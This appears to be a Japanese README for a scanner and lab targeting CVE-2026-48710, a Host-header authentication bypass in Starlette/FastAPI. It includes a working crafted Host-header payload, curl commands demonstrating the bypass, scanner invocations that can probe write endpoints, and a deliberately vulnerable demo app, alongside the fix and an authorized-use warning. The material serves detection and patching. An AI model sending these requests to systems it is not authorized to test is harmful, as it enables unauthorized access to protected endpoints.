
CVE-2026-48710 検出スキャナー - Starlette/FastAPI のホストヘッダー認証バイパス
Starlette / FastAPI における BadHost 認証バイパスを検出する専用スキャナー。認証ミドルウェアが request.url.path を読み取り、request.scope["path"] を参照していないため、細工した Host ヘッダーで許可されたパスを忍び込ませ、認証をバイパスできます。
GET /admin HTTP/1.1
Host: api.internal/health?__badhost=
# Starlette sees request.url.path == "/health" → allowed
# ASGI still routes to /admin → bypassed
影響を受けるバージョン: Starlette ≤ 0.46.1 / FastAPI ≤ 0.115.x
修正バージョン: Starlette 0.46.2+
https://host/path) を渡す — パスが自動的に抽出されプローブとして使用されますHost と X-Forwarded-Host の両方のキャリアと、2つのペイロード戦略をテストします--preset ai) および MCP (--preset mcp) エンドポイント用の組み込みプリセット--json、--csvbadhost_vuln_lab/)ローカル検証用に 2 つの FastAPI アプリが同梱されています:
| アプリ | URL | 認証読み取り元 |
|---|---|---|
| 脆弱 | http://127.0.0.1:8000 | request.url.path — バイパスされる |
| 修正済み | http://127.0.0.1:8001 | request.scope["path"] — 安全 |
cd badhost_vuln_lab
docker compose up --build
または Docker なし:
pip install -r badhost_vuln_lab/requirements.txt
uvicorn badhost_vuln_lab.app_vulnerable:app --host 127.0.0.1 --port 8000
uvicorn badhost_vuln_lab.app_fixed:app --host 127.0.0.1 --port 8001
curl -i http://127.0.0.1:8000/admin # 403
curl -i -H "Host: 127.0.0.1:8000/health?x=" http://127.0.0.1:8000/admin # 200 — bypassed
curl -i -H "Host: 127.0.0.1:8001/health?x=" http://127.0.0.1:8001/admin # 403 — fixed
git clone https://github.com/Bhanunamikaze/BadHost-CVE-2026-48710-Exploit.git
cd BadHost-CVE-2026-48710-Exploit
python badhost_openapi_scanner.py --help # Python 3.9+, no pip install needed
# Single full URL — path extracted automatically, no extra flags needed
python badhost_openapi_scanner.py https://api.internal/checkout/ai-builder
# Multiple full URLs
python badhost_openapi_scanner.py https://api.internal/admin https://api.internal/api/users
# Add extra paths on top of a full URL
python badhost_openapi_scanner.py https://api.internal/checkout \
--protected POST:/api/checkout --protected GET:/api/cart
# Read-only scan from local openapi.json
python badhost_openapi_scanner.py http://api.internal:8000 --openapi ./openapi.json
# Include write methods (staging/authorized only)
python badhost_openapi_scanner.py http://api.internal:8000 \
--openapi ./openapi.json --openapi-methods all \
--unsafe-allow-write --openapi-body-mode invalid
# Fetch OpenAPI directly from the target
python badhost_openapi_scanner.py http://api.internal:8000 \
--openapi http://api.internal:8000/openapi.json
# Multiple targets, CSV output
python badhost_openapi_scanner.py --targets-file targets.txt \
--openapi ./openapi.json --csv > results.csv
# AI/LLM + MCP preset paths (no OpenAPI needed)
python badhost_openapi_scanner.py http://api.internal:8000 --preset all
--openapi-body-mode invalidは書き込みメソッドに{}を送信します — エンドポイントを実行せずに認証バイパス後に FastAPI422をトリガーします。baseline=403 test=422の結果は依然として調査に値する SUSPECT 判定です。
本番環境では--openapi-body-mode minimalを使用 しない でください — 書き込みエンドポイントを実行する可能性のある有効なリクエストボディを構築します。
出力には CONFIRMED と SUSPECT のみ表示されます。終了コード 2 = CONFIRMED、1 = SUSPECT、0 = 問題なし。
# Vulnerable
if request.url.path.startswith("/public"):
...
# Fixed
if request.scope["path"].startswith("/public"):
...
Starlette 0.46.2+ / FastAPI 0.116.0+ にアップグレードしてください。
許可されたテストのみに使用してください。自分が所有する、または明示的なテスト許可があるシステムのみをスキャンしてください。
| 判定 | 意味 |
|---|
CONFIRMED | ベースライン 401/403 → テスト 2xx. 脆弱. |
SUSPECT | ベースライン 401/403 → テスト 404/405/422. 認証ゲートがバイパスされたように見えます。手動で確認してください。FastAPI からの 422 は特に重要です。 |
REJECTED | プロキシがバイパス前に不正な Host (400/421) を拒否しました |
BLOCKED | 細工したリクエストが拒否されました |
OPEN | 認証なしで既にアクセス可能 — この CVE ではない |